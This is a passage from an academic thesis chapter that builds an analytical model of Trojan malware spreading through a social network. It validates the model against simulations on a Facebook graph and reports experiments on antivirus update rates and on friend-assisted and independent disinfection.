
3. When we say “a user is disinfected”, we mean that the disinfecting solution has the

ability to remove the malware from the infected computer and all malicious private

messages or malicious links posted on the infected user’s profile.
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4. Each user has his/her own device to access the social network (i.e., no two users share

the same device.).

5. We assume a single infiltrating user in the first stage of the propagation process

described Section 5.6. In our future work, we will extend our model to support

multiple infiltrating nodes. Note, however, that the use of many infiltrating nodes

may trigger early detection of the malware in the network.

6. We assume that a new malware M appears and starts propagating at time t = 0.

In addition to the above assumptions, we also assume that a percentage of the OSN

population, βmax, have AV programs installed on their systems. According to a survey

conducted by Microsoft, 75% of the respondents reported that they installed AV products

on their computers [62]. We will assume βmax = 0.75 in our experiments. Note, however,

that only a subset of these AV products are effective against the new malware M . In other

words, only a percentage of the OSN population, βmin, where βmin ≤ βmax, are immune

to malware M at time t = 0. (Analogically, a flu vaccine may not be effective against

all the flu strains, especially new strains.) The value of βmin depends on the novelty and

sophistication of malware M . The more novel and sophisticated malware M is, the lower

the value of βmin.

Infected users may seek clean-up solutions to disinfect their systems by themselves (inde-

pendent disinfection), or with help from their friends from the social network (collaborative

disinfection). The issues of collaborative disinfection and independent disinfection will be

discussed in detail in Sections 4.6.3 and 4.6.4, respectively.

4.3.5 Objective of the Model

The objective of the model is to estimate the expected number of users EX(t) in each state

X = {Sus, Inf,Rec, Imm} at each time unit t.

EX(t) =

i=V∑
i=1

P (Xi(t) = X),

where P (Xi(t) = X) denotes the probability of user i being in state X at time t. For

example, EInf (t) =
∑i=V

i=1 P (Xi(t) = Inf) gives the expected number of infected users in

the network at time t.

To compute the probability of user i being in state X at time t, P (Xi(t) = X), we

need to compute the probabilities of user i transitioning from one state to another, namely
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probabilities γi(t), βi(t) and αi(t) shown in Fig. 4.2. In Sections 4.4.1 to 4.4.3, we discuss

the computations of γi(t), βi(t) and αi(t), respectively. In Section 4.4.4, we discuss the

computation of P (Xi(t) = X) and EX(t), where X = {Sus, Inf,Rec, Imm}, to complete

the model. To facilitate the description of the model, we summarize the mathematical

notations in Table 4.1.

4.4 The Proposed Malware Propagation Model

In this section, we discuss the computations of the transition probabilities γi(t), βi(t) and

αi(t), and the expected number of users in each state X where X = {Sus, Inf,Rec, Imm}.

4.4.1 Transition from Susceptible to Infected State

Let γi(t) denote the transition probability of node i from the susceptible state to the infected

state at each time t. This transition probability depends on two factors:

• The states of node i’s neighbors. The more infected neighbors i has, the higher the

probability i will get infected.

• The probability pi of user i executing the malware. The higher the probability pi, the

higher the probability i will get infected.

Therefore, the probability γi(t) of user i transitioning from the susceptible to the infected

state is given by the following equation:

γi(t) = 1−
∏
j∈Ni

(1− piP (Xj(t− 1) = Inf)) (4.3)

where Ni is the set of node i’s neighbors.

Note that probability pi depends on several factors such as the probability of user i

viewing the malicious link on her wall (or in the private message box), the trust level between

user i and her friend j who posted the link, the probability of following the malicious link by

clicking on it, the probability of downloading the malware and the probability of executing

the malware. In Appendix 4A, we discuss the factors that affects probability pi in detail.

4.4.2 Transition from Susceptible to Immune State

Users can benefit from antivirus (AV) software products to protect themselves against mal-

ware attacks. Users install AV software either proactively to prevent infections, or reactively
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Table 4.1: Mathematical notations

Parameter Description

V Total number of nodes (users) in the graph (network).

Xi(t) State of the node i at each time t (see Eq. (4.1))

pi Probability of user i following a malicious post, unknowingly download-

ing the malware and executing it. This probability depends on several

factors as discussed in Section 4.4.1.

Ni Set of node i’s neighbors.

di Degree of node i

δi Probability of user i accepting clean-up solutions from their non-

infectious friends (Section 4.4.3).

qi Probability of user i recovering independently without assistance from

his/her friends (Section 4.4.3).

πi Probability of an infected user i taking no action to remove malware.

That is, πi = 1− qi − δi (Section 4.4.3).

γi(t) Probability of user i transitioning from the susceptible to infected state.

This probability depends on the number of friends user i has and prob-

ability pi listed above (Section 4.4.1).

βi(t) Probability of user i transitioning from the susceptible to immune state.

This probability depends on the effectiveness of user i’s AV software,

or the availability of AV updates to user i. [Some AV product vendors

release updates against malware M sooner than others (Section 4.4.2)]

βmax Percentage of the social network population that has AV products in-

stalled on their computers. [However,at the beginning of the propagation

only a subset of these AV products, βmin, are effective against the new

malware M (Section 4.4.2).]

αi(t) Probability of user i transitioning from the infected to recovered state.

This probability depends on the number of user i infected friends at time

t and probability δi listed above. The higher these values, the higher

the probability αi (Section 4.4.3).
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to disinfect their systems after being infected. In the former case, an effective AV software

against a malware M allows a user to transition from the susceptible to the immune state

(with respect to malware M). In the latter case, up-to-date AV products enable users to

disinfect themselves, transitioning from the infected to the recovered state. In this section,

we focus on the former case (susceptible to immune state), while the latter case (infected

to recovered state) is discussed in Section 4.4.3.

If user i has an AV product installed, it may or may not be effective against the new

malware M when M first emerges in the network at time t = 0. If an AV product is effective

against M , the user is considered to transition from the susceptible to the immune state at

time t = 0.

In practice, many malware programs use novel techniques to evade detection by AV

software [129, 130]. However, as a malware spreads through a network, AV manufacturers

respond by providing software updates and clean-up solutions (via either updated signatures

or heuristic techniques [131]). Not all AV companies can provide detection and clean-up

solutions at the same time though [132]. In fact, there are cases where it takes AV providers

several days to come up with disinfecting solutions. For instance, Microsoft Malware Protec-

tion Center provided detection and clean-up solutions against the Conficker malware [133]

on November 21, 2008 [134] while many other vendors such as Sophos and Trend-Micro

released disinfection solutions to their users several days later, on November 26, 2008 [135].

If an AV product is not effective against the malware in the first stages of its propagation,

the user can still have a chance of getting to the immune state if the AV manufacturer

releases working updates and the user’s AV software is updated before he/she is infected.

Because AV providers may not be able to release product updates right away, we assume that

the rate at which AV products are updated can be a function such as linearly increasing or

exponentially increasing. Therefore, we define βi(t), the probability of a node i transitioning

from the susceptible to the immune state, as follows:

βi(t) =

β̂(t) if 0 < t ≤ Tmax
βmax if t ≥ Tmax

(4.4)

where βmax is the (maximum) percentage of the population that has AV products installed

on their computers (assumption 6, Section 4.3). Only a subset of this population, repre-

sented by parameter βmin ≤ βmax, has AV products that are effective against M at time

t = 0. As AV manufacturers gradually release updates against M , all AV user’s products

will eventually be effective against M . Tmax is the time at which all AV products have been
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Figure 4.3: β̂(t) as linear and exponential functions

updated and able to block/remove malware M .

β̂(t) denotes the percentage of users at time t who have effective AV software against the

new malware M, and βmin ≤ β̂(t) ≤ βmax. β̂(t) depends on the rate at which AV products

are updated, and thus can be a function such as linear or exponential increase, where t

denotes the time unit passed. As a linearly or exponentially increasing function, it can be

represented as β̂(t) = c0× t or β̂(t) = c1e
c2×t respectively, where c0, c1 and c2 are constants.

The value of β̂(t) increases until it reaches βmax at time Tmax, when βmax × V users have

effective AV software against the new malware M , where V is the total number of users in

the network.

4.4.3 Transition from Infected to Recovered State

As discussed in the previous sections, a user can be infected by not having an AV product,

or having an AV product that is not effective against the new malware. In the former case,

the user would seek clean-up solutions in order to disinfect his OSN profile and computer.

In the latter case, the infected user’s AV product would need to be updated in order to

remove the new malware.

Recent malware has presented a major obstacle to users seeking clean-up solutions or

AV updates: such a malware would block users’ access to web sites of reputable AV software

providers. This obstacle has been observed in several malware attacks [16, 31, 41, 73, 133,

136], including those on Facebook such as Magnet [41], Koobface [31], and extension-based

malware [16] that targets Facebook users’ browsers. By blocking users’ access to web sites

of AV software providers or disabling their AV software, attackers can maintain their control
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of the infected systems as long as possible to carry out malicious activities. In Appendix

4B, we discuss techniques malware creators use to prevent infected systems from being

connected to AV provider web sites.

In this case, an infected user would have to search for clean-up solutions or AV updates

via means other than direct access to or download from AV provider web sites. Following

are examples of such methods:

1. One method is to search for clean-up solutions from third-party web sites (which are

not blocked by the malware). This method carries the risk of downloading another

malware disguised as an AV product [137, 138] and is recommended only to knowl-

edgeable users.

2. A safer alternative is for the infected user to seek assistance from his OSN friends,

especially those who were infected but have found effective disinfecting products and

have recovered. This practice was observed during a large-scale attack on Facebook

caused by Magnet malware [41] that left more than 110,000 users infected in less than

two days [41]. During the attack, infected users were blocked by the malware from

accessing AV provider web sites. As a result, they posted messages on social media,

seeking help from their OSN friends to remove the malware from their systems. Clean-

up solutions suggested by trusted friends have been tested by them and therefore

usually safe and effective. We term the practice of seeking clean-up solutions from

OSN friends collaborative disinfection. This method is the safest and easiest for less

sophisticated computer users.

3. Another safe method is to access AV provider web sites directly to download AV up-

dates using a second, clean computer and then transfer the AV update to the infected

computer. (However, not all users have access to a second, clean computer.) We call

this practice and method 1 discussed above independent disinfection (as opposed to

collaborative disinfection with help from friends).

We consider both independent disinfection (method 1 and 3) and collaborative disinfection

(method 2) when calculating the probability αi(t) of user i transitioning from the infected

to the recovered state.

Let δi and di represent the probability of user i accepting clean-up solutions from his/her

friends and the degree of node i, respectively. Furthermore, let qi and Ni denote the

probability of user i recovering without help from his/her friends (independent disinfection),
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and the set of node i’s neighbors respectively. The probability αi(t) of user i transitioning

from the infected to the recovered state is given by the following equation:

αi(t) = qi +
δi
di

∑
j∈Ni

(1− P (Xj(t− 1) = Inf)) (4.5)

Eq. (4.5) takes into account both independent disinfection (parameter qi) and collabora-

tive disinfection (the second term of the equation). In the case of collaborative disinfection,

the higher the probability that user i accepts clean-up solutions from his/her friends, the

higher his/her chance of recovering. The more non-infected friends user i has, the higher

his/her chance of getting clean-up solutions from them to recover. (It is logical to assume

that infected friends cannot help. If they had knowledge of clean-up solutions, they would

already have disinfected their systems and moved to the recovered sate.)

So far we have discussed the transition probabilities based on the model illustrated

in Fig. 4.2. In the next subsection, we provide the complete model characterizing the

propagation of a Trojan malware in an OSN.

4.4.4 The Complete Model

A social network is represented by an undirected graph G = (V, E) where each vertex v ∈ V
represents a user and each edge e ∈ E denotes the mutual relationship between the two

users represented by the two end vertices.

For each user i, the network graph provides the following information: node degree di

and the set of user i’s neighbours Ni. Each user i is also associated with a set of parameters

in the form of a vector {pi, δi, qi}. Brief descriptions of these parameters can be found in

Table 4.1. At time t = 0 (when the malware M first appears at the infiltrating node), the

probability of a user i being in a state X is as follows, where X = {Sus, Inf,Rec, Imm}.
For the infiltrating node, denoted by k, P (Xk(0) = Inf) = 1 because k is considered the

first node in the network infected with malware M . P (Xk(0) = X) = 0 for every other

state X, namely, susceptible, immune and recovered.

We assume that AV providers release updates against malware M over time according

to a function β̂(t) (see Section 4.4.2).

Given the above initializations, Equations (4.3) to (4.5) and the transition model illus-

trated in Fig. 4.2, we calculate the probability of a user i being in the susceptible, immune,

infected, and recovered state as follows, with brief explanations given in Table 4.2.

90



Table 4.2: Brief explanations of Equations (4.6) to (4.9)

Equation Explanations

(4.6)

A susceptible user remains in the susceptible state with probability 1− βi(t). That

is, the user has not been infected yet (as determined by probability γi(t)), or become

immune yet, i.e., his/her AV program has not yet been updated to block the new

malware M (as determined by function βi(t)). Upon visiting the social network, the

user may become infected with probability γi(t).

(4.7)

Upon visiting the social network, a susceptible user will become infected with prob-

ability γi(t) as shown in Fig. 4.2. Also, an infected user can recover via independent

or collaborative disinfection with probability αi(t) while visiting the social network;

otherwise, the user stays in the infected state with probability 1− αi(t).

(4.8)

Upon visiting the social network, an infected user can recover with probability αi(t)

via independent or collaborative disinfection. A recovered user will stay in the

recovered state for the rest of the time with probability 1 due to effective AV solutions

against malware M obtained during the disinfection stage.

(4.9)

An immune user at time t = 0 will stay immune throughout the course of the attack

with probability 1. In addition to these users, a subset of susceptible users will

become immune over time thanks to their AV products being updated gradually by

AV providers, as determined by function βi(t)).

P (Xi(t+ 1) = Sus) = (1− βi(t))P (Xi(t) = Sus)+

P (visiti(t) = true) γi(t) P (Xi(t) = Sus)
(4.6)

P (Xi(t+ 1) = Inf) = P (visiti(t) = true)γi(t)×
P (Xi(t) = Sus) + (1− P (visiti(t) = true)×

αi(t))P (Xi(t) = Inf)

(4.7)

P (Xi(t+ 1) = Rec) = P (visiti(t) = true)αi(t)×
P (Xi(t) = Inf) + P (Xi(t) = Rec)

(4.8)

P (Xi(t+ 1) = Imm) = βi(t)P (Xi(t) = Sus)+

P (Xi(t) = Imm)
(4.9)

Equations (4.6) to (4.9) are calculated using Equations (4.3), (4.4) and (4.5) derived

earlier and summarized below:
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γi(t) = 1−
∏
j∈Ni

(1− piP (Xj(t− 1) = Inf))

βi(t) =

β̂(t) if 0 ≤ t < Tmax

βmax if t ≥ Tmax

αi(t) = qi +
δi
di

∑
j∈Ni

(1− P (Xj(t− 1) = Inf))

Using Equations (4.6) to (4.9), we calculate the expected number of users in a each state

X = {Sus, Inf,Rec, Imm} at each time t as follows:

EX(t) =
i=V∑
i=1

P (Xi(t) = X) (4.10)

The computational complexity for computing EX(t) is O(E), where E is the number of

edges in the network graph. A detailed discussion of the complexity is given in Appendix

4C.

4.5 Model Validation

In Sections 4.5 and 4.6, we evaluate the accuracy of the model for estimating the propagation

speed of a Trojan malware in an OSN. Due to the lack of real data sets for evaluating analytic

models [22], authors of all existing works in the literature have used simulations to validate

their analytical models [22, 23, 25, 71]. We use the same approach to validate our proposed

model in this chapter.

The simulation program was implemented using MATLAB and based on discrete-event

simulation. The propagation process was simulated as described in Section 4.2. We used

the Facebook social network graph constructed by McAuley and Leskovec [46] to run the

simulations and to compute numerical results based on the proposed model. We then

compare simulation results with numerical results obtained from the model. Each data

point in the graphs was averaged over 100 runs, each of which started with a different

infiltrating node (user) selected randomly.

The simulation and numerical results suggest that the system converges to a steady

state. A formal proof of steady state convergence will be considered in our future work.
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4.5.1 Metrics

To compare numerical results obtained from the analytical model with simulation results, we

use the following metrics: number of infected, susceptible and protected users, respectively.

The number of protected users is the sum of the numbers of immune and recovered users.

Since both immune and recovered users are eventually protected from the new malware M,

we combine them into one group in the graphs to make the graphs more readable.

To obtain numerical results from the analytical model, we calculated the expected number

of users EX(t) in each state as follows: EX(t) =
∑i=V

i=1 P (Xi(t) = X), where X denotes the

state of a user i and X = {Sus, Inf,Rec, Imm}. For example
∑i=V

i=1 P (Xi(t) = Inf) gives

the expected number of infected users in the network at time t.

We compare the expected number of infected (susceptible, protected) users computed

from the model with the number of infected (susceptible, protected) users obtained from

the simulations.

We use the Pearson product-moment correlation coefficient [139] for the comparison.

The correlation coefficient r ranges from −1 to +1, where a value of 1 (−1) implies a

positive (negative) perfect relationship between two variables X and Y , and a value of 0

implies no linear correlation between the variables. A positive correlation means that if

X increases then Y increases. A negative correlation means that if X increases then Y

decreases. We use Pearson correlation coefficients to determine the correlation between

our analytical model results and the simulation results. We expect that an accurate model

should have high positive correlations with the corresponding simulation results, i.e., r ≈ 1.

The correlation coefficient of two variables X and Y is calculated as follows [139]:

r =
cov(X,Y )

σXσY
(4.11)

To measure the significance of the correlation, we calculate the p-value of the correlation

coefficient. A p-value close to zero means that the correlation is “statistically significant”

(i.e., rejecting the null hypothesis) [139].

4.5.2 Simulation Process

We implemented a Trojan malware based on the propagation mechanism discussed in Sec-

tion 5.6. The simulation process is summarized as follows. In the first step of each experi-

ment, a node (user) in the social network graph is chosen randomly as a seed for infiltration.

(In practice, the malware creator may implement several fake profiles for infiltration.) We

mark this node as infected. The infiltrating user will post a malicious link either on her wall
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or directly on the wall of each of her friends. When a susceptible user i sees the malicious

link, she will follow the link and execute the malicious embedded code with a probability

pi. The probability pi reflects the fact that some people may be more cautious and do

not follow the link or they do not see the link (e.g., because it was pushed far down on a

page by many more recent posts). (If user i does not click on the link, she remains in the

susceptible state. An immune or recovered user will stay in the same state until the end of

an experiment.)

The malware will then post malicious link on the wall of the newly infected user for her

friends to see. The above process then continues with these friends. In our simulation, the

above steps repeat until the average number of infected nodes remains less than ten for four

consecutive time units; that is, further propagation of the malware will not significantly

increase the number of victims. (In real life, the malware creator may stop the propagation

when the number of infected nodes reaches a certain number.) At the end of each time

unit, we counted the number of infected, immune and protected users and recorded them

to plot the resulting graphs.

In all the experiments, we assume that the Trojan malware blocks users from accessing

AV software providers’ web sites, as discussed in Section 4.4.3. In this case, infected users

can seek assistance from their OSN friends to find clean-up solutions (collaborative disin-

fection) or search for clean-up solutions themselves (independent disinfection). We study

both cases in our experiments.

4.5.3 Experiment Settings

We conducted five sets of experiments. In the first four sets of experiments, we assume

that user message checking time follows an exponential distribution with mean 40, i.e., τ ∼
E(40). This parameter comes from previous works [22,23,25]. In the fifth set, we examine

the case in which users visit the social network more often on average, i.e., τ ∼ E(20). In

all experiments, we assume that the probability of a user i clicking on the malicious link

and subsequently executing the Trojan code is pi = 0.5, unless otherwise stated.

Following are the settings of the experiments:

• Experiment I: In the first experiment, we study the impact of malware execution

probability pi = p by comparing two cases of p = 0.5 and p = 0.75. We assume that

no clean-up solution is available to users (δi = 0 and qi = 0).

• Experiment II: In the second experiment, we study the impact of gradual AV up-

date releases by AV product manufacturers on the Trojan propagation by examining
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different βi(t) functions as discussed in Section 4.4.2. We assume there is no clean-up

solution (δi = 0 and qi = 0) available to observe the effects of gradual AV update

release on containing the malware.

• Experiment III: In the third experiment, we study the effects of collaborative dis-

infection by varying δi from 0 to 1. We assume no independent disinfection (qi = 0).

• Experiment IV: In the fourth experiment, we study the effects of independent dis-

infection by comparing two cases: qi = 0 vs. qi = 0.5 . We assume no collaborative

disinfection (δi = 0).

• Experiment V: In the fifth experiment, we study the impact of user message checking

time on the Trojan propagation by comparing different τ distributions. We assume

that users visit the social network more often on average, i.e., τ ∼ E(20). We compare

this case with the case where τ ∼ E(40) as used in all the previous experiments.

A summary of the experiments and their parameters and results are given in Table 4.3.

The graphs obtained from the experiments show the number of users (infected, susceptible

and protected) over time, unless otherwise stated.

4.6 Experimental Results

In this section, we discuss the results obtained from the five experiments described above.

4.6.1 Experiment I: Malware Execution Probability

To study the effects of probability pi on the propagation of M , we consider two cases of

p = 0.5 and p = 0.75. We assume there is no available clean-up solution (δi = 0 and qi = 0)

in both cases.

Set I: p = 0.5

Figure 4.4(a) show the results obtained from the analytical model and the simulation for this

experiment. As can be seen, the number of susceptible users decreases while the number of

infected users increases over time due to the lack of effective AV protection. The number of

infected nodes rises until reaching its maximum, which is the initial number of susceptible

95



Table 4.3: Experiment parameters and summary of results

Experiment Figure Parameters Summary of Results

Experiment I - Malware Execu-

tion Probability (Section 4.6.1)
Fig. 4.4

βi=0, δi=0, qi=0, pi=0.5,

p={0.5,0.75}

With no AV protection in place, all

susceptible users eventually become in-

fected. The higher the value of p, the

higher the number of infected users in

earlier stages of propagation.

Experiment II - Gradual AV

Update Release (Section 4.6.2)

Fig. 4.5

and 4.6

βi linearly and exponentially

increases between 0 and 0.75,

δi=0, qi=0, pi=0.5

Gradual release of AV updates help

some susceptible nodes to become im-

mune. However it does not have direct

impact on the nodes that are infected

with a blocking Trojan malware.

Fig. 4.7

βi linearly and exponentially

increases between 0 and 0.75,

δi=0, qi=0, pi=0.5

The linear function outperforms the

corresponding exponential function in

terms of containing the malware prop-

agation. The linear function allows

faster AV update release, resulting in

more susceptible users becoming im-

mune in the early stages of the propa-

gation.

Experiment III - Collaborative

Disinfection (Section 4.6.3)

Fig.

4.8(a)

to 4.8(c)

β150 = 0.005t, δi={0.2,0.4},
qi=0, pi=0.5

Collaborative disinfection helps in-

fected nodes to recover, resulting in

fewer infected nodes in the network.

The higher the probability δi, the lower

the number of infections.

Experiment IV - Independent

Disinfection (Section 4.6.4)
Fig. 4.9

β150 = 0.005t, δi=0,

qi={0.2,0.4}, pi=0.5

Independent disinfection results in

lower numbers of infected users. The

higher the value of qi, the lower the

number of infections

Experiment V - Frequency of

Visit (Section 4.7)

Fig.

4.10

τi∼E(λ), λ = 20 δi={0., 0.2},
qi = 0, pi=0.5, βi={0, 0.005t}

The higher the visiting frequency, the

higher the number of infections
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(a) Experiment I - p=0.5
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(b) Experiment II - p=0.75

Figure 4.4: Experiment I: Impact of malware execution probability on malware propagation

- βi=0, δi=0, qi=0

nodes. The number of protected users stays at zero during the course of this experiment

due to lack of AV protection.

Set II: p = 0.75

Figure 4.4(b) shows a similar trend of users’ transitions from the susceptible to the infected

state. However, since the malware execution probability is increased from p = 0.5 to

p = 0.75, the rate of users becoming infected is higher than the previous Set. For instance,

in the 50th and 100th time units, the number of infections are 2,073 and 3,306 respectively

when p = 0.5, while the these values are equal to 2,446 and 3,591 when p = 0.75. That is,

a maximum of 10% more infection in the network at earlier stage of propagation.

The results in Fig. 4.4(a) and 4.4(b) show that the model closely matches the simulation

results. For instance, in Fig. 4.4(b), the average error between the predicted values and the

simulation results are less than 1% for the susceptible and infected user curves, respectively.

The largest discrepancy is 2%, which occurs at the 30th time unit. The Pearson correlation

coefficient also shows a close positive correlation between the model and the simulation with

r ≈ 0.99 and p− value ≈ 0 for both groups of users, susceptible and infected.

In summary, without effective AV products or clean-up solutions, all susceptible users

will eventually become infected. Obviously, the higher the probability of pi, the higher the

number of infected users in earlier stages of propagation.
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4.6.2 Experiment II: Gradual AV Update Release

In this experiment, we study the impact of gradual AV update release on the Trojan prop-

agation by examining different βi(t) functions as discussed in Section 4.4.2. In particular,

we consider two functions: linear and exponential. For each function, we also examine how

the rate at which AV updates are released affects the numbers of susceptible, infected and

protected users.

We assume no available clean-up solution (δi = 0 and qi = 0) to observe the effects of

gradual AV update release on containing the malware.

Linear Functions

Function βi increases linearly from 0 to βmax, and β̂(Tmax) = βmax. We set βmax = 0.75,

according to a survey conducted by Microsoft [140] in which 75% of the respondents said

that they had AV programs installed on their systems. The value of Tmax indicates the

rate at which AV updates are released. The lower the value of Tmax, the faster AV updates

are released. We consider three Tmax values: 150, 100 and 25 time units, resulting in the

following three linear functions, respectively:

• β̂150(t) = 0.005t

• β̂100(t) = 0.0076t

• β̂25(t) = 0.031t

The numerical and simulation results based on these three functions are given in Fig.

4.5(a), 4.5(b) and 4.5(c), respectively.

In all three cases, we observe the following:

1. The number of protected nodes increases over time thanks to AV updates released

gradually.

2. The number of infected nodes also increases over time because we assume no clean-

up solution is available. (With clean-up solutions available to users, the number of

infections will eventually go down. We will study this case in the next experiment.)

3. The number of susceptible nodes decreases over time. They move to either the infected

group (due to the malware) or the protected group (due to AV updates released

gradually by AV providers).
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We note that AV updates enable a large number of users to move from the susceptible

group to the protected group, resulting in less infections when compared to the case where

there are no AV updates available (compared to Fig. 4.4(a)). For instance, the analytical

result in Fig. 4.5(a) shows that there are 572 infected users at the end of the experiment

while the total number of infected users in Fig. 4.4(a) is 4,039 users. That means about

85% less infected users compared to the case where there are no AV updates, demonstrating

the importance of having AV protection.

Faster AV update release limits the spread of the malware and protect more users from

becoming infected. Going from Fig. 4.5(a) to Fig. 4.5(b) and 4.5(c), we see that the

number of infected users decreases significantly. For instance, the analytical result shows

that at the 50th step, there are 206 and 65 infected users when Tmax = 100 and Tmax = 25,

respectively. This number is 576 infected users in Fig. 4.5(a) when Tmax = 150, the slowest

update rate in our experiment.

At the same time, we observe an increase in the number of protected users as Tmax

decreases from 150 to 25 (i.e., AV updates are released at faster rates). To further illustrate

this point, we consolidated the curves representing the numbers of protected users from

Fig. 4.5(a), 4.5(b) and 4.5(c) and placed them in Fig. 4.5(d). We can see from the new

graph that the faster AV updates are released, the higher the number of users become

protected. For instance, at the 50th step, there are 3,974, 3,833 and 3,465 protected users

in the network for Tmax = 25, 100 and 150, respectively.

Exponential Functions

Similarly to the previous case, we assume βmax = 0.75 and consider three Tmax values: 150,

100 and 25, resulting in the following three exponential functions, respectively:

• β̂150(t) ≈ 0.01× et×0.029

• β̂100(t) ≈ 0.01× et×0.044

• β̂25(t) ≈ 0.01× et×0.18

Figures 4.6(a), 4.6(b) and 4.6(c) show the results respectively. The results are consistent

with those obtained from the previous set with the linear functions. That is, as more AV

products are updated, more users will become protected. For example, in Fig. 4.6(b), the

number of protected users increases from zero to 2,266 at the 50th step.
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AV updates result in less infections (Fig. 4.6(b)) than the case where no AV updates

are released (Fig. 4.4(a)). By comparing Fig. 4.6(b) and Fig. 4.4(a), we see 1,217 infected

users versus 4,039 infected users, a difference of 70% at the 150th time unit.

As the rate at which AV products are updated speeds up (i.e., Tmax decreases), fewer

users will be infected and more users become protected. For example, at the 50th step, the

analytical results for Tmax = 150 show 1,304 infected and 2,146 protected users (Fig. 4.6(a)),

while these numbers are 364 infected users and 3,675 protected users when Tmax = 25

(Fig. 4.6(c)). To further illustrate this point, the curves representing the numbers of pro-

tected users in Fig. 4.6(a), 4.6(b) and 4.6(c) are combined into Fig. 4.6(d). The combined

graph shows 3,675, 2,822 and 2,590 protected users in the social network for Tmax = 25,

100 and 150, respectively.

Linear vs. Exponential Functions

We observe that the linear functions outperform the corresponding exponential functions

in terms of containing the malware propagation. To facilitate the comparison, Fig. 4.7(a)

shows the numbers of protected users obtained from the linear and exponential functions for

Tmax = 125 (extracted from Fig. 4.4(a), and 4.6(a) and 4.6(a), respectively). Figure 4.7(a)

shows that the linear function allows more users to be come protected than the exponential

function: 3,465 versus 2,146 users at the 50th step, or about 30% higher.

The explanation for the above observation is that the linear function grows faster than

the exponential function for 0 < t ≤ Tmax, Tmax = 150 (refer to Fig. 4.3). The linear

function allows faster AV update release, resulting in more susceptible users becoming

immune in the early stages of the propagation. To visualize this comparison, we consolidated

the curves representing the number of protected users in Fig. 4.4(a), 4.5(a) and 4.6(a) into

the graph in Fig. 4.7(a).

Figure 4.7(a) also includes the curve of the numbers of protected users extracted from

Fig. 4.4(a) for the case of no available AV updates. In this case, there are no immune users

because there are no effective AV products against malware M and no AV updates either.

We arrive at the same conclusion when comparing the graphs of the linear and the

exponential functions, linear vs. exponential, when Tmax = 100 and Tmax = 25. Figure

4.7(b) shows three pairs of functions when Tmax = 150, 100, and 25. As can be seen, in

all three cases, the linear functions (the green curves) rises faster than the corresponding

exponential functions (the purple curves), leading to more protected users over time.

100



0  50 100 150

500

1000

1500

2000

2500

3000

3500

4000

Time Units

E
xp

ec
te

d
 n

u
m

b
er

 o
f 

u
se

rs

 

 

Susceptible−Sim
Infected−Sim
Protected−Sim
Susceptible−Mdl
Infected−Mdl
Protected−Mdl

(a) Tmax = 150
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(b) Tmax = 100
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(c) Tmax = 25
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Figure 4.5: Experiment II: Gradual AV update release, linear functions, δi=0, qi=0, pi=0.5
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(a) Tmax = 150
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(b) Tmax = 100
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(c) Tmax = 25
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tected users

Figure 4.6: Experiment II: Gradual AV update release, exponential functions, δi=0, qi=0,

pi=0.5

0  50 100 150

500

1000

1500

2000

2500

3000

3500

4000

Time Units

E
xp

ec
te

d
 n

u
m

b
er

 o
f 

u
se

rs

 

 

Linear AV updates − Mdl
Exponential AV updates − Mdl
No AV updates − Mdl

(a) Number of protected users

βMin

βMax

0 TMax T

Lin. :
TMax

6

Exp. :
TMax

6

Lin. :
2TMax

3

Exp. :
2TMax

3
Lin. : TMax

Exp. : TMax

Cnst.

(b) Gradual AV update release, different Tmax

values

Figure 4.7: Experiment II: Linear vs. exponential functions
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4.6.3 Experiment III: Collaborative Disinfection

In this set of experiments, we examine the effects of collaborative disinfection, which is

defined in Section 4.4.3. Collaborative disinfection allows infected users who are blocked by

the malware from directly accessing AV provider web sites to get clean-up solutions from

their OSN friends.

We conducted on online survey asking 51 Facebook users if they would accept clean-up

solutions from their Facebook friends if they were infected by such a malware. Approxi-

mately 40% (39.2% to be exact) of the surveyed people responded said that they would do

so and would accept clean-up solutions from their Facebook friends. We use the result from

this survey in this set of experiments, by setting δi to a maximum value of 0.4.

In this experiment, we examine different values of δi, the probability of accepting clean-

up solutions from friends. Specifically, we consider δi = 0, 0.2 and 0.4. (The value of 0.4

comes from the survey mentioned above.) We assume that AV updates are released accord-

ing to the linear function β̂150(t) = 0.005t, in order to see the effectiveness of collaborative

disinfection when comparing the results from this set of experiments with those obtained

from Experiment II where no disinfection solutions were available. As before, we assume

no independent disinfection (qi = 0) and users’ probability of executing the malware is

pi = 0.5. The results of this set of experiments are illustrated in Figures 4.5(a), 4.8(a) and

4.8(b) for δi = 0, 0.2 and 0.4, respectively.

In the graphs, the number of infections first increases, then reaches a maximum value

(points A and B in Fig. 4.8(a) and 4.8(b), respectively). After this point, the number

of infections goes down thanks to infected users applying clean-up solutions suggested by

their friends and moving from the infected state to the recovered state. As the number

of infections going down, the number of protected users going up as users move from the

infected state to the recovered state.

In general, collaborative disinfection plays an important role in containing (and almost

stopping) the malware. To illustrate this point, we extracted the curves of the number of

infections from Fig. 4.5(a), 4.8(b) and 4.8(b) and grouped them into one graph in Fig.

4.8(c). The new graph shows that without clean-up solutions the number of infected users

first increases then stays almost constant for the rest of the experiments because none of

them is disinfected. With collaborative disinfection, the number of infections goes down

after reaching a maximum value (points A and B), thanks to clean-up solutions that allow

user to be disinfected and move to the recovered state. Furthermore, the higher the δi

value, the more infected users transition to the recovered state. In Fig. 4.8(c), there are
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(a) Set 1 - δi=0.2, pi=0.5
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(b) Set 1 - δi=0.4, pi=0.5
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Figure 4.8: Experiment III: Collaborative disinfection - qi=0, β̂150(t) = 0.005t

573 infected users in the network at the 50th time step in the case of no clean-up solutions,

while this number reduces to 163 and 55 in the case of collaborative disinfection, when δ

equals to 0.2 and 0.4, respectively.

Figures 4.8(a) and 4.8(b) also show that there is a good match between the analytical

model and simulation results. For instance, in Fig. 4.8(a), the discrepancy between model

and simulation results are less than 6% for all the susceptible, protected and infected graphs

with the largest of 6% at the twenty third step between the protected curves. The Pearson

correlation coefficient also shows close positive correlation between two series with at least

r ≈ 0.98 and p − value ≈ 0 for all three curves, susceptible, infected and protected. A

similar comparison is also observed in Fig. 4.8(b) when δi = 0.4.
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4.6.4 Experiment IV: Independent Disinfection

In this set of experiments, we examine the effects of independent disinfection as discussed in

Section 4.4.3. Because the new malware prevents users from accessing directly AV provider

web sites, knowledgeable users would search for clean-up solutions from third-party web

sites not blocked by the malware. Another method is to access AV provider web sites via a

second, clean computer and subsequently transfer the disinfecting software to the infected

computer.

We model these practices, called independent disinfection, using parameter qi, where qi

is the probability of user i finding a clean-up solution without assistance from his/her OSN

friends.

In this experiment, we consider different qi values, specifically, qi = 0, 0.2 and 0.4. We

assume that AV updates are released according to the linear function β̂150(t) = 0.005t, in

order to see the effectiveness of collaborative disinfection when comparing the results from

